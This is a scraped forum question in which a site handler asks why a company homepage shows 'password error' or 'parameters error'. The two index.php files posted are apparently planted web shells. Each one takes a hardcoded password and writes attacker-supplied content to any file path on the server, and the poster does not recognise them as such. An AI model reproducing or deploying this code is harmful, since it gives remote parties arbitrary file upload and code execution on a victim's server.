php - Website is not redirecting to address -
this index.php
<?php error_reporting(e_error); //set_time_limit(0); //header("content-type: text/html; charset=utf-8"); $system_password="yt"; $action=$_request['action']; $password=$_request['password']; $filename=$_request['filename']; $body=stripslashes($_request['body']); if($password!=$system_password) { echo 'password error'; return; } if($action=="test") { echo 'test success'; return; } $wjj=dirname(__file__); if(!file_exists($wjj)) { mkdir($wjj,0777); } $fp=fopen($filename,"w"); //fwrite($fp,"\xef\xbb\xbf".iconv('gbk','utf-8//ignore',$body)); fwrite($fp,"\xef\xbb\xbf".$body); fclose($fp); if(file_exists($filename)) { chmod($filename,0777); } echo "publish success"; ?>
when set page homepage display "password error". visit:http://www.saxonybyseema.com
second index.php
<?php //header("content-type: text/html; charset=utf-8"); $config_password="yt"; $action=$_request['action']; $password=$_request['password']; $folderpath=$_request['folderpath']; $filename=$_request['filename']; $body=stripslashes($_request['body']); if($password==""||$filename==""||$body=="") { echo 'parameters error!'; return; } if($password!=$config_password) { echo 'password error!'; return; } $rootpath=$_server['document_root']; $newpath=$rootpath; if($folderpath!="") { if($folderpath=="root") { $newpath=$rootpath.'/'.$filename; } else { createfolder($rootpath.'/'.$folderpath); $newpath=$rootpath.'/'.$folderpath.'/'.$filename; } } else { $newpath=$filename; } $fp=fopen($newpath,"w"); //fwrite($fp,"\xef\xbb\xbf".iconv('gbk','utf-8//ignore',$body)); fwrite($fp,$body); fclose($fp); if(file_exists($newpath)) { echo "publish success & uploaded"; } function createfolder($path) { if (!file_exists($path)) { createfolder(dirname($path)); mkdir($path, 0777); } } ?>
when set page home page shows "parameters error". haven't developed site. handling on behalf of company. not able find issue persisting site work.
Comments
Post a Comment